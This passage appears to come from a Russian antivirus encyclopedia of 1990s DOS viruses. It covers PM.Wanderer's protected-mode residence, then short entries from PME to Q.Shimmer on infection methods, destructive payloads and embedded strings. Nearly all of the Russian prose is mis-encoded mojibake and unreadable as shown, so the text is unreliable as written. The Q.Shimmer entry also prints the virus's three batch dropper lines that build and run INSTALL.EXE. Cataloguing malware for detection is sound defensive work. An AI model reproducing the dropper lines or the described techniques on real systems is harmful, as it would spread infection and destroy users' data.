îáðàáîò÷èêà INT 21h, îáû÷íî ðàñïîëîæåííîãî â îáëàñòè HMA.  äàëüíåéøåì
âèðóñ áóäåò èñïîëüçîâàòü ýòîò àäðåñ äëÿ âûçîâà INT 21h ïðè çàðàæåíèè
ôàéëîâ. Äàëüíåéøèå äåéñòâèÿ âèðóñà - ïðîâåðêà íàëè÷èÿ â ñèñòåìå
èíòåðôåéñà VCPI è ïîëó÷åíèå 4-åõ àäðåñîâ ñòðàíèö ïàìÿòè. Çàòåì âèðóñ
ïîëó÷àåò àäðåñ èíòåðôåéñà VCPI, òàáëèöó ñòðàíèö è àäðåñ ãëîáàëüíîé
äåñêðèïòîðíîé òàáëèöû GDT (Global Descriptor Table), ñîñòîÿùåé èç òðåõ
ýëåìåíòîâ (ïåðâûé - äåñêðèïòîð ñåãìåíòà êîäà, äâà äðóãèå - èñïîëüçóþòñÿ
äðàéâåðîì VCPI). Âèðóñ çàïèñûâàåò â òàáëèöó ñòðàíèö ññûëêó íà ñòðàíèöû,
âûäåëåííûå èì äðàéâåðîì VCPI, ïîëó÷àåò ôèçè÷åñêèé àäðåñ ñòðàíèöû ïàìÿòè
ñåãìåíòà, â êîòîðîì âèðóñ â äàííûé ìîìåíò íàõîäèòñÿ. Ïîòîì ïîëó÷àåò
ðåãèñòðû ãëîáàëüíîé äåñêðèïòîðíîé òàáëèöû GDT è äåñêðèïòîðíîé òàáëèöû
ïðåðûâàíèé IDT (Interrupt Descriptor Table). Äàëåå âèðóñ ñîçäàåò òðè
ñîáñòâåííûõ äåñêðèïòîðà (êîäà è äàííûõ) è äåñêðèïòîð ñåãìåíòîâ
ñîñòîÿíèÿ çàäà÷è TSS (Task State Segment) â ãëîáàëüíîé äåñêðèïòîðíîé
òàáëèöå GDT, ïîäãîòàâëèâàåò çíà÷åíèÿ äëÿ ðåãèñòðîâ CR3, GDTR,IDTR,LDTR,
TR è àäðåñ CS:EIP òî÷êè âõîäà â çàùèùåííûé ðåæèì è ïðîèçâîäèò
ïåðåêëþ÷åíèå ïðîöåññîðà â çàùèùåííûé ðåæèì ðàáîòû ñ íàèâûñøèì óðîâíåì
ïðèâèëåãèé - 0. Â çàùèùåííîì ðåæèìå âèðóñ êîððåêòèðóåò òàáëèöó GDT,
ñîçäàâàÿ â íåé äâà ñîáñòâåííûõ äåñêðèïòîðà ñåãìåíòîâ è ïðîèçâîäèò ïîèñê
äåñêðèïòîðà TSS. Ïîñëå ÷åãî âèðóñ óñòàíàâëèâàåò äâå àïïàðàòíûå
êîíòðîëüíûå òî÷êè ïî êîìàíäàì (Breakpoints) íà ïåðâûé áàéò êîäà
îáðàáîò÷èêà INT 21h (àäðåñ 0000:0084h) è íà ïåðâûé áàéò êîäà â BIOS ïî
àäðåñó 0FE00:005Bh (ëèíåéíûé àäðåñ 0FE05Bh). Îáû÷íî â BIOS ïî àäðåñó
0FE00:005Bh íàõîäèòñÿ êîìàíäà ïåðåõîäà (Near Jump) íà ïðîöåäóðó
ïåðåçàïóñêà êîìïüþòåðà. Çàòåì âèðóñ êîððåêòèðóåò äåñêðèïòîðíóþ òàáëèöó
ïðåðûâàíèé òàêèì îáðàçîì, ÷òîáû óñòàíîâèòü íà ïðåðûâàíèÿ: 1 (îñîáûé
ñëó÷àé îòëàäêè) è 9 (êëàâèàòóðà) ñîáñòâåííûå äåñêðèïòîðû îáðàáîò÷èêîâ
äàííûõ ïðåðûâàíèé. Ïîñëå ýòèõ ïðèãîòîâëåíèé âèðóñ êîïèðóåò ñâîé êîä
â ñòðàíèöó ïàìÿòè, ïîëó÷åííóþ èì åùå äî âõîäà â çàùèùåííûé ðåæèì è
ïðîèçâîäèò ïåðåêëþ÷åíèå ïðîöåññîðà â âèðòóàëüíûé ðåæèì ðàáîòû.
Âèðóñíûé îáðàáîò÷èê INT 09 ïðîèçâîäèò êîíòðîëü çà íàëè÷èåì è (èëè)
âîññòàíîâëåíèåì ñâîèõ äâóõ êîíòðîëüíûõ àïïàðàòíûõ òî÷åê. À òàêæå,
äàííûé îáðàáîò÷èê îòñëåæèâàåò íàæàòèå íà Ctrl-Alt-Del è â ýòîì ñëó÷àå
"ñáðàñûâàåò" âñå àïïàðàòíûå êîíòðîëüíûå òî÷êè. Âèðóñíûé îáðàáîò÷èê
îñîáîãî ñëó÷àÿ îòëàäêè ïðîâåðÿåò ïðîèçîøëî ëè íàðóøåíèå îäíîé èç äâóõ
"âèðóñíûõ" êîíòðîëüíûõ òî÷åê ïî àäðåñó êîìàíäû.Åñëè óïðàâëåíèå â äàííûé
îáðàáîò÷èê ïîïàëî èç òî÷êè, íàõîäÿùåéñÿ "íà ïðîöåäóðå" â BIOS -
ïåðåçàãðóçêè êîìïüþòåðà, òî âèðóñ ñáðàñûâàåò âñå àïïàðàòíûå êîíòðîëüíûå
òî÷êè, òàê æå, êàê è îáðàáîò÷èê INT 09 ïðè íàæàòèè íà Ctrl-Alt-Del.
Åñëè æå íàðóøåíèå âûçâàíî êîíòðîëüíîé òî÷êîé îðèãèíàëüíîãî îáðàáîò÷èêà
INT 21h, òî âèðóñ àíàëèçèðóåò çíà÷åíèå ðåãèñòðà AX (èëè AH) ñ öåëüþ
îïðåäåëåíèÿ ôóíêöèè ïðåðûâàíèÿ INT 21h è â çàâèñèìîñòè îò ýòîãî
ïðåäïðèíèìàåò ðàçëè÷íûå äåéñòâèÿ. Åñëè AX=0BABAh, òî âèðóñ ñ÷èòàåò, ÷òî
äàííûé âûçîâ èñõîäèò îò åãî "ñîáðàòà",çàïèñûâàåò â AX çíà÷åíèå 0FACCh è
âîçâðàùàåò óïðàâëåíèå îðèãèíàëüíîìó îáðàáîò÷èêó INT 21h. Åñëè AX=3506h
(ïîëó÷èòü àäðåñ ïðåðûâàíèÿ INT 06;îáû÷íî òàêîé âûçîâ ñóùåñòâóåò âî âñåõ
ïðîãðàììàõ, íàïèñàííûõ íà ÿçûêàõ âûñîêîãî óðîâíÿ: C, Pascal,...), òî
âèðóñ ïûòàåòñÿ íàéòè â ïðîñòðàíñòâå ëèíåéíûõ àäðåñîâ 0-90000h íåêîòîðóþ
ïîñëåäîâàòåëüíîñòü áàéò, î÷åâèäíî, ïðèíàäëåæàùèõ ïðîãðàììå ADinf
(Äìèòðèþ Ìîñòîâîìó - àâòîðó ADinf, íå óäàëîñü íàéòè òàêóþ âåðñèþ ADinf
îò 10.00 äî 11.01, â êîòîðîé äàííàÿ ïîñëåäîâàòåëüíîñòü áàéò áû
ïðèñóòñòâîâàëà). Åñëè äàííàÿ ïîñëåäîâàòåëüíîñòü áóäåò âèðóñîì íàéäåíà,
òî îí íåêèì îáðàçîì ìîäèôèöèðóåò íàéäåííûé êîä, òàê, ÷òîáû óïðàâëåíèå
íå ïîïàäàëî íà âûçîâ êàêîé-òî ìåæñåãìåíòíîé ïðîöåäóðû. Åñëè AX=4B00h
(çàïóñê ïðîãðàììû) èëè AH=3dh è AL íå ðàâíî ?Fh (îòêðûòèå ôàéëà òîëüêî
íà ÷òåíèå), òî âèðóñ êîïèðóåò ñâîé êîä ïî àäðåñó 9000:0000h (ëèíåéíûé
àäðåñ 90000h),ïåðåêëþ÷àåò ïðîöåññîð â âèðòóàëüíûé ðåæèì ðàáîòû è îòäàåò
óïðàâëåíèå ñâîåìó êîäó, íàõîäÿùåìóñÿ â ïðåäåëàõ ïåðâîãî ìåãàáàéòà â
ñåãìåíòå 9000h. Âèðóñ ïðîâåðÿåò ïîñëåäíèå äâå áóêâû ðàñøèðåíèÿ èìåíè
ôàéëà è ïðîèçâîäèò ñîçäàíèå ñâîåé ïîëèìîðôíîé êîïèè è çàðàæåíèå ôàéëîâ
ðàçìåðîì áîëåå 4K. Ïðè÷åì âèðóñ âíåäðÿåò ñâîé êîä â íà÷àëî COM èëè â
ñåðåäèíó (ñðàçó æå çà çàãîëîâêîì) EXE-ôàéëîâ, çàïîìèíàÿ îðèãèíàëüíûé
ïðîãðàììíûé êîä â êîíöå ôàéëîâ."Ðåàëüíûé ðàáî÷èé êîä" âèðóñà ñîñòàâëÿåò
3684 áàéò, íî íà ïðàêòèêå èíôèöèðîâàííûå ôàéëû èìåþò ïðèðàùåíèå äëèíû
áîëåå 3940 áàéò.Ïðè âîçíèêíîâåíèè ëþáîé îøèáêè â ïðîöåññå çàðàæåíèÿ èëè
ïðè âûõîäå èç âèðòóàëüíîãî ðåæèìà ïðîöåññîðà âèðóñ âûçûâàåò INT 21h ñ
AX=4B00h äëÿ âûçîâà îñîáîãî ñëó÷àÿ èñêëþ÷åíèÿ è âîçâðàùåíèÿ óïðàâëåíèÿ
îðèãèíàëüíîìó îáðàáîò÷èêó INT 21h. Âèðóñ â ñâîåì òåëå ñîäåðæèò òåêñò
"WANDERER,(c) P. Demenuk". Ïî ýòîé ñòðîêå, âèäèìî,ìîæíî ñäåëàòü âûâîäû,
÷òî àâòîðîì äàííîãî "øåäåâðà" ñëåäóåò ñ÷èòàòü ìîñêîâñêîãî ÷åëîâåêà -
Ïåòðà Äåìåíþêà. ×åðåç òðè ãîäà Ïåòÿ ñîçäàë âñå-òàêè ñâîé íîâûé
"âåëèêîëåïíûé ïðîäóêò, äîñòîéíûé âîñõèùåíèÿ...".
Èç âñåãî âûøåñêàçàííîãî ñëåäóåò, ÷òî îáíàðóæèòü ðåçèäåíòíóþ êîïèþ
äàííîãî âèðóñà, íàõîäÿùåãîñÿ â íóëåâîì êîëüöå çàùèùåííîãî ðåæèìà
ïðîöåññîðà îáû÷íûìè ñïîñîáàìè íåâîçìîæíî. Äëÿ îáíàðóæåíèÿ âèðóñà â
ïàìÿòè íåîáõîäèìî ïåðåêëþ÷àòüñÿ â çàùèùåííûé ðåæèì ñ íàèâûñøèìè
ïðèâèëåãèÿìè è ïî òàáëèöàì GDT èëè IDT ïðîèçâîäèòü åãî ïîèñê. Íî
ïîïûòàòüñÿ îáíàðóæèòü ïðèçíàêè âèðóñà â ñèñòåìå ìîæíî è îáû÷íûìè
ñïîñîáàìè. Äëÿ ýòîãî íåîáõîäèìî ïðî÷èòàòü ëèíåéíûå àäðåñà äâóõ ïåðâûõ
àïïàðàòíûõ êîíòðîëüíûõ òî÷åê (0 è 1) è ñðàâíèòü èõ ñî çíà÷åíèÿìè,
êîòîðûå îïèñàíû âûøå. Íà îñíîâàíèè íàëè÷èÿ îïðåäåëåííûõ àäðåñîâ è
äåëàåòñÿ âûâîä î âîçìîæíîñòè íàõîæäåíèÿ âèðóñà PM.Wanderer â ïàìÿòè
êîìïüþòåðà.
Òåïåðü íåìíîãî î ðåçóëüòàòàõ òåñòèðîâàíèÿ. Ïðè çàðàæåíèè íåñêîëüêèõ
òûñÿ÷ ôàéëîâ-æåðòâ âèðóñ ïðîÿâèë ñåáÿ, êàê "æèëåö" - âñå çàðàæåííûå
ôàéëû îêàçàëèñü ðàáîòîñïîñîáíûìè. Çäåñü íàäî òîëüêî ñäåëàòü ïîïðàâêó -
ôàéëû ìîãóò îêàçàòüñÿ íåðàáîòîñïîñîáíûìè â òîì ñëó÷àå, åñëè èõ ñòåê
ïîñëå çàðàæåíèÿ îêàæåòñÿ â îáëàñòè âèðóñíîãî êîäà. PM.Wanderer ïðè
çàðàæåíèè ôàéëîâ íå êîððåêòèðóåò çíà÷åíèÿ ñòàðòîâûõ SS:SP. Êàê óæå
îòìå÷àëîñü âûøå, âèðóñ ñîõðàíÿåò ñïîñîáíîñòü ê âîñïðîèçâîäñòâó,òîëüêî â
òîì ñëó÷àå, åñëè â ñèñòåìå óñòàíîâëåí äðàéâåð EMS (EMM386). Ïðè
óñòàíîâëåííîì äðàéâåðå EMM386 ñ êëþ÷îì NOEMS, âèðóñ ïåðåçàãðóæàåò
êîìïüþòåð. Êîìïüþòåð òàêæå ìîæåò ïåðåçàãðóçèòüñÿ, åñëè â ñèñòåìå
èñïîëüçóåòñÿ äðàéâåð QEMM386. Ñàìîå èíòåðåñíîå â òîì,÷òî åñëè â ñèñòåìå
íàõîäèëñÿ ðåçèäåíòíûé âèðóñ, à ïîòîì ïðîèçîøëà çàãðóçêà Windows 3.1x
èëè Windows'95, òî âèðóñ íå ñìîæåò ðàçìíîæàòüñÿ â äàííûõ îïåðàöèîííûõ
ñðåäàõ, íî ïðè âûõîäå â DOS, âèðóñ îïÿòü ïîëó÷àåò óïðàâëåíèå è ìîæåò
"òðóäèòüñÿ íå ïîêëàäàÿ ðóê". Åñëè æå âèðóñ áóäåò çàïóùåí â Windows DOS-
îêíå, òî èç-çà îòñóòñòâèÿ èíòåðôåéñà VCPI âèðóñ íå ñìîæåò ïåðåêëþ÷èòüñÿ
â çàùèùåííûé ðåæèì. Ïîä OS/2 âèðóñ - íåæèçíåñïîñîáåí, òàêæå èç-çà
îòñóòñòâèÿ VCPI.  çàêëþ÷åíèå ñòîèò îòìåòèòü, ÷òî ýòî ïåðâûé èçâåñòíûé
âèðóñ (ïðè÷åì, ðîññèéñêèé), èñïîëüçóþùèé çàùèùåííûé (âèðòóàëüíûé) ðåæèì
ðàáîòû ïðîöåññîðà è íå êîíôëèêòóþùèé ñ îïåðàöèîííûìè ñèñòåìàìè "îò
Microsoft", ðàáîòàþùèìè òàêæå â çàùèùåííîì ðåæèìå.
PME - âèðóñû
PME (Phantasie Mutation Engine) - ïîëèìîðôíûå ãåíåðàòîðû âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí êèòàéñêèì âèðóñîïèñàòåëåì ïî
êëè÷êå Burglar. Ñóùåñòâóþò äâå âåðñèè äàííîãî ãåíåðàòîðà. Îíè ñîäåðæàò
òåêñòû:
PME v1.00 (C) Jan 1995 By Burglar
PME v1.01 (C) Feb 1995 By Burglar
PME.Burglar
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èíîãäà âåøàåò ñèñòåìó è âûâîäèò
òåêñò:
Hello! This is [Super Virus-2] ... written by Burglar in Taipei, Taiwan
Pojer.1941, 4028
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå (Pojer.4028 - ïîëèìîðôíûé) âèðóñû. 17
íîÿáðÿ è 6 ôåâðàëÿ âûâîäÿò íà ýêðàí òåêñòû:
Pojer.1941:
** B R A I N 2 v1.40 **
WARNING ! Your PC has been WANKed !
>> 17.11.1989 <<
Viruses against political extremes , for freedom and parliamentary democrac
>> STOP LENINISM , STOP KLAUSISM , STOP BLOODY DOGMATIC IDEOLOGY !! <<
Remarks:
- for John McAfee: John,your SCAN = good program.
- for CN and his company:
Boys,the best ANTI-VIRUSES are Zeryk,Saryk and Vorisek !
- for F : Girls are better than computers and programming !
This program is copyright by SB SOFTWARE All rights reserved.
O.K. Your PC is now ready !
Pojer.4028:
** BRAIN2 v2.00beta - upgrade from POJER **
BETA tester, thank you,
.. have a nice day in cyberspace ...
This crazy program is (c) 12/93 by SB
Polimer.512
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå âèðóñ âûâîäèò ñîîáùåíèå
"A legjobb kazetta a POLIMER kazetta ! Vegye ezt !". Ñîäåðæèò ñòðîêó
"ERROR".
Polska.4004
Íåîïàñíûé âèðóñ.  1994 ãîäó 7 è 23 ÷èñëà êàæäîãî ìåñÿöà äî èþëÿ
âûâîäèò â ãðàôè÷åñêîì ðåæèìå ïîäíèìàþùèéñÿ íà ôëàãøòîêå ðàçâèâàþùèéñÿ
áåëî-êðàñíûé ïîëüñêèé ôëàã, íà êîòîðîì íàïèñàíî "TERAZ POLSKA" è â
ëåâîì âåðíåì óãëó òåêñò:
TERAZ POLSKA v2.0
produced by NoName
All rights reserved
(c) 93.12.22 POLAND
Poro.1257
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ñ 15 ïî 25 ñåíòÿáðÿ âûâîäèò íà ýêðàí òåêñò:
Ñ Äíåì ðîæäåíèÿ, Àëëî÷êà !
Íàèëó÷øèå ïîæåëàíèÿ òâîåìó Hard Disk'ó !
Ïðè çàïèñè íà äèñê (f.03 Int 13h) âèðóñ ïûòàåòñÿ íàéòè ñëîâîñî÷åòàíèÿ
"Bori", "BORI", "Áîðè" è "ÁÎÐÈ" è çàìåíèòü èõ ñîîòâåòñòâåííî íà "Poro",
"PORO", "Ïîðî" è "ÏÎÐÎ". Ñîäåðæèò çàøèôðîâàííûé òåêñò "Turbo Bugger (C)
1994 Dedicated to Alla R. Borisyuk ( ÌÅÕ-ÌÀÒÜ 307 )".
Poruchik.2774
Íàïèñàí äëÿ ïðîöåññîðà 386. Óñòàíàâëèâàåòñÿ ðåçèäåíòíî â âåðõíèå àäðåñà
ïàìÿòè. Ïðè ñìåíå äèðåêòîðèÿ (f.3Bh INT 21h) âèðóñ ïðîèçâîäèò ïîèñê
ôàéëîâ *.exe è çàðàæàåò èõ. Ñîäåðæèò òåêñò: "Ïîðó÷èê Ëîçèíñêèé,
ðàçäàéòå Aidstestû".
Possessed.2175, 2367, 2438, 2443, 2446 (1,2)
Îïàñíûå ðåçèäåíòíûå âèðóñû. Èíîãäà óäàëÿþò ôàéëû. Ðèñóþò íà ýêðàíå â
ãðàôè÷åñêîì âèäåîðåæèìå óëûáàþùååñÿ ëèöî. Âûâîäÿò òåêñò "POSSESSED!
Bwa! ha! ha! ha! ha!". Òàêæå ñîäåðæàò ñòðîêó "Author: JonJon Gumba of
AdU".
Predator.1063,1072 (2),1137,1148,1154,1195
Îïàñíûå ðåçèäåíòíûå ñàìîøèôðóþùèåñÿ, êðîìå Predator.1063, âèðóñû.
Ïåðåõâàòûâàþò INT 21h è INT 13h. Ïðè ÷òåíèè ñåêòîðîâ ÷åðåç INT 13h
âèðóñû ìîãóò èñïîðòèòü çíà÷åíèå îäíîãî ñëó÷àéíî âûáðàííîãî áèòà â
áóôåðå ñ÷èòàííûõ ñåêòîðîâ. Ñîäåðæàò òåêñòîâûå ñòðîêè:
Predator.1072 (1): Predator virus (c) Mar. 93 Priest
Predator.1072 (2):
Predator Strain B (c) 1993 Priest - Phalcon/Skism
Predator.1063,1137,1148,1154,1195:
Predator virus (c) Mar. 93
In memory of all those who were killed...
Wookies ain't the only ones that drop! Priest
Predator.2448
Ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ. Ïðè ñòàðòå
èíôèöèðîâàííîãî ôàéëà òðàññèðóåò INT 13h è INT 21h, ñòàíîâèòñÿ
ðåçèäåíòíî â âåðõíèõ àäðåñàõ ïàìÿòè. Ìîæåò "âíåäðèòüñÿ" â îðèãèíàëüíûé
îáðàáîò÷èê INT 21h, ïðîèçâåäÿ èçìåíåíèå åãî 5òè ïåðâûõ áàéò. Çàðàæàåò
MBR è Boot-ñåêòîðà äèñêåò, ïðè÷åì çàãðóçî÷íûé ñåêòîð äèñêà øèôðóåò è
"ïðÿ÷åò": äëÿ æåñòêîãî äèñêà â ñåêòîðå 2, äëÿ äèñêåò - â ïåðâîì ñåêòîðå
ïîñëåäíåé äîðîæêè. Ñîäåðæèò òåêñòîâóþ ñòðîêó: Predator virus #2 (c)
1993 Priest - Phalcon/Skism
Pretentious.680
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò:
Windows 95 may be dangerous.
OS/2 is the best operating system!
I`ll prove it soon...
Òàêæå ñîäåðæèò ñòðîêó "* Gdynia 1996 * v1.0 *".
Priest.1416
Íåðåçèäåíòíûé î÷åíü îïàñíûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû â òåêóùåé
äèðåêòîðèè. Åñëè íîìåð ìåñÿöà ñîâïàäàåò ñî çíà÷åíèåì äíÿ, òî âèðóñ
ñ÷èòûâàåò 9 ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà â ïàìÿòü, óíè÷òîæàåò èõ íà
äèñêå, à çàòåì âûâîäèò òåêñò:
ß âåëèêèé âèðóñ ÆÐÅÖ !!! Òîëüêî ÷òî ÿ ñòåð âàøè BOOT,MBR è FAT.
Íå ðàññòðàèâàéòåñü ,ýòà æåðòâà áóäåò ïðèíåñåíà òîëüêî åñëè
âû íå îòãàäàåòå çàãàäêó (îòâå÷àéòå ëàòèíñêèìè áóêâàìè) :
Êàêîé â ÊÌÓÃÅ ñàìûé ëó÷øèé ôàêóëüòåò :
Åñëè îòâåòèòü, ÷òî fareo, òî âèðóñ âîññòàíîâèò ïåðâûå ñåêòîðà äèñêà.
Òàêæå â 16 ÷àñîâ âèðóñ ìîæåò âûâåñòè ñîîáùåíèå:
"Hello i'm virus Crazy Priest !!!
Ìíå î÷åíü æàëü,íî â æåðòâó áûë ïðèíåñåí ôàéë " - äàëüøå èäåò èìÿ ôàéëà.
 äàííûé ôàéë âèðóñ áóäåò çàïèñûâàòü ñëó÷àéíóþ èíôîðìàöèþ, äî òåõ ïîð,
ïîêà íå áóäåò íàæàòà êëàâèøà "Space" - "Ïðîáåë". 15 àâãóñòà âûâîäèò
òåêñò: "HAPPY BIRTHDAY CRAZY !!!".
Printerceptor
Îïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ-ñïóòíèê. Ïåðåõâàòûâàåò INT 21h.
Áëîêèðóåò âûâîä íà ïðèíòåð. Ñîäåðæèò ñòðîêó "Printerceptor".
Privet.1152
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ñòàðòå ìîæåò âûâåñòè òåêñò "ïðèâåò
âñåì". òàêæå ñîäåðæèò òåêñòû "*.exe skh", "ïëîõî äåëî".
Problem.734, 845, 854, 856, 857, 863
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Problem.854, 856, 863 ñîäåðæàò òåêñò
"THIS IS YOUR PROBLEM !", Problem.857 - "by Mojo Risin for 1605",
Problem.845 - "dATA kILLER !".
Procuror
Î÷åíü îïàñíûé Boot-âèðóñ. Èìååò ðàçëè÷íûå çàãðóç÷èêè äëÿ æåñòêèõ è
ãèáêèõ äèñêîâ. Ïðè çàãðóçêå ñ ãèáêîãî äèñêà ìîæåò îòôîðìàòèðîâàòü
íà÷àëüíóþ äîðîæêó ïåðâîãî æåñòêîãî äèñêà. Îðèãèíàëüíûé MBR øèôðóåò è
ïðÿ÷åò â 7 ñåêòîðå ïåðâîé äîðîæêè. Äëÿ ãèáêèõ äèñêîâ îðèãèíàëüíûé
Boot-ñåêòîð è 2 ñåêòîðà ñâîåãî ïðîäîëæåíèÿ çàïèñûâàåò â ïîñëåäíèå 3
ñåêòîðà ïîñëåäíåé äîðîæêè. Ïðè çàãðóçêå ñ ôëîïïè-äèñêà ïðåõâàòûâàåò INT
1Eh è INT 13h. Ïðè çàãðóçêå ñ "âèí÷åñòåðà" ïåðåõâàòûâàåò INT 08h
(òàéìåð), INT 13h, INT 17h (âûâîä íà ïðèíòåð). Ïðè âûâîäå íà ïðèíòåð
öèôð 0-4, âìåñòî íèõ âûâîäèò çíà÷åíèÿ óâåëè÷åííûå íà 1, âìåñòî öèôðû 5
âûâîäèò 0. Ïðèìåðíî ÷åðåç 30 ìèíóò ðàáîòû ïîñëå çàãðóçêè â áóôåð
êëàâèàòóðû ïîìåùàåò ñëîâî "PROCUROR". Ìîæåò èçìåíèòü çíà÷åíèå ÷àñîâ
ðåàëüíîãî âðåìåíè â CMOS-ïàìÿòè.
Prohibit.1500
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Ïðè îòêðûòèè ôàéëà âèðóñ
óäàëÿåò ñâîé êîä èç ôàéëà, ïðè åãî çàêðûòèè ñíîâà çàðàæàåò åãî. Èíîãäà
âûâîäèò òåêñò "Will see you next time . Stone 93". Òàêæå ñîäåðæèò òåêñò
"Prohibit MARYJUANA".
Promiscuo.2725
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ôàéëû ANTI-VIR.DAT,
CHKLIST .MS, CHKLIST.MS,THIMAGEN.ARC,ACUARIO.SEX,TH.RPT.Ñîäåðæèò òåêñòû
"pRoMiScUo ViRuS DeDiCaDo A ToDaS MiS MuJeReS!!","(c)1996 por pRoMisCuO
sExUaL!!".
PrtSc.1024 (1,2)
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñâîå íàçâàíèå ïîëó÷èë çà "ïåðåõâàò" INT 05
(Print Screen).
Punisher.1632
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èìååò ñòðîêó "The Punisher-I".
Puppet.487
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"[PS/G¤] eMpIrE-X [G¤ The Puppet Masters 3 Virus]".
Q.8Ball (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû.Çàðàæàþò çàãðóçî÷íûå ñåêòîðà äèñêåò è ôàéë
C:\CONFIG.SYS. Ïðè çàãðóçêå ñèñòåìû ñ èíôèöèðîâàííîãî ôëîïïè-äèñêà
âèðóñû êîïèðóþò ñåáÿ â îáëàñòü âèäåîïàìÿòè B800:7C00, "ïåðåõâàòûâàþò"
INT 1Ah (BIOS time and date), "æäóò" âûçîâà äàííîãî ïðåðûâàíèÿ, ïîñëå
÷åãî "ïåðåõâàòûâàþò" INT 21h è "îñâîáîæäàþò" INT 1Ah. Ïîñëå âûçîâà
ëþáîé ôóíêöèè INT 21h (êðîìå çàïóñêà ïðîãðàìì - AH=4Bh) âèðóñû ñîçäàþò
ôàéë ñî ñëó÷àéíûì èìåíåì (f.5Ah Int 21h) íà äèñêå C:, çàïèñûâàåò â íåãî
ñâîé êîä è âíåäðÿþò â êîíåö ôàéëà c:\config.sys ñòðîêó âûçîâà äàííîãî
ôàéëà, òèïà INSTALL=C:\ABCD.FGH (Q.8ball (1)) èëè DEVICE=C:\IJKL.MNO
(Q.8ball (2)). Ïîñëå ýòîãî èëè ïîñëå ôóíêöèè EXEC (f.4Bh Int21h)
âèðóñû âîññòàíàâëèâàþò îðèãèíàëüíûé àäðåñ îáðàáîò÷èêà INT 21h. Ïðè
çàïóñêå ôàéëà, óêàçàííîãî â ôàéëå CONFIG.SYS, âèðóñû êîïèðóþò ñåáÿ â
îáëàñòü ïàìÿòè HMA è "ïåðåõâàòûâàþò" INT 40h äëÿ çàðàæåíèÿ çàãðóçî÷íûõ
ñåêòîðîâ äèñêåò. Q.8ball (1) ñîäåðæèò òåêñò "8_Ball -=Q=-".
Q.IOwe
Íåîïàñíûé âèðóñ. Çàðàæàåò ôàéë IO.SYS, åñëè îí ñîäåðæèò â íà÷àëå
ïîñëåäîâàòåëüíîñòü 261 ïîâòîðÿþùèõñÿ íóëåâûõ áàéò. Âèðóñ çàïèñûâàåò
ñâîé êîä â îáëàñòü íóëåé è óñòàíàâëèâàåò íà ñåáÿ ïåðâóþ èíñòðóêöèþ
ôàéëà IO.SYS (êîðîòêèé JUMP - EB 05). Ïðè ñòàðòå òàêîãî èíôèöèðîâàííîãî
ôàéëà, âèðóñ êîïèðóåò ñâîå òåëî â îáëàñòü âèäåîïàìÿòè BE00:0000,
"ïåðåõâàòûâàåò" INT 1Ah (BIOS time and date), "æäåò" âûçîâà äàííîãî
ïðåðûâàíèÿ, ïîñëå ÷åãî "ïåðåõâàòûâàåò" INT 21h è "îñâîáîæäàåò" INT 1Ah.
Ïîñëå âûçîâà ëþáîé ôóíêöèè INT 21h (êðîìå çàïóñêà ïðîãðàìì - AH=4Bh)
âèðóñ ïûòàåòñÿ çàðàçèòü ôàéë C:\IO.SYS óêàçàííûì âûøå ñïîñîáîì. Ïîñëå
çàðàæåíèÿ äàííîãî ôàéëà èëè ïîñëå ôóíêöèè EXEC (f.4Bh Int21h) âèðóñ
âîññòàíàâëèâàåò îðèãèíàëüíûé àäðåñ îáðàáîò÷èêà INT 21h. Ñîäåðæèò òåêñòû
"I OWE" è "-=Q=-".
Q.Shimmer (1,2)
Íåîïàñíûå âèðóñû. Çàðàæàþò ôàéë C:\WINDOWS\WINSTART.BAT è çàãðóçî÷íûå
ñåêòîðà äèñêåò. Ïðè çàãðóçêå ñèñòåìû ñ èíôèöèðîâàííîãî ôëîïïè-äèñêà
âèðóñ êîïèðóåò ñåáÿ â îáëàñòü âèäåîïàìÿòè B800:7C00, "ïåðåõâàòûâàåò"
INT 1Ah (BIOS time and date), "æäåò" âûçîâà äàííîãî ïðåðûâàíèÿ, ïîñëå
÷åãî "ïåðåõâàòûâàåò" INT 21h è "îñâîáîæäàåò" INT 1Ah. Ïîñëå âûçîâà
ëþáîé ôóíêöèè INT 21h (êðîìå çàïóñêà ïðîãðàìì - AH=4Bh) âèðóñ ñîçäàåò
ôàéë WINSTART.BAT â êàòàëîãå C:\WINDOWS, åñëè òàêîâîé ñóùåñòâóåò è íå
ñîäåðæèò äàííîãî ôàéëà. Â ôàéë WINSTART.BAT âèðóñ çàïèñûâàåò ñâîé êîä,
ñîäåðæàùèé òåêñòîâûå ñòðîêè:
@ECHO PKX>INSTALL.EXE
@COPY/B INSTALL.EXE+%0.BAT>NUL
@INSTALL.EXE
Ïîñëå êîòîðûõ èäåò îñíîâíîå âèðóñíîå òåëî, ñîñòîÿùåå èç àññåìáëåðíûõ
èíñòðóêöèé. Ïðè çàïóñêå òàêîãî ôàéëà, ïðîèñõîäÿùåãî, êàê ïðàâèëî, ïðè
ñòàðòå MS-Windows, âèðóñ ñîçäàåò ôàéë INSTALL.EXE èç 5 òåêñòîâûõ áàéò
è ñîáñòâåííîãî êîäà èç ôàéëà WINSTART.BAT. Äàííûé ôàéë INSTALL.EXE
çàïóñêàåòñÿ âèðóñîì. Ïåðâûå 5 òåêñòîâûõ áàéò ôàéëà INSTALL.EXE
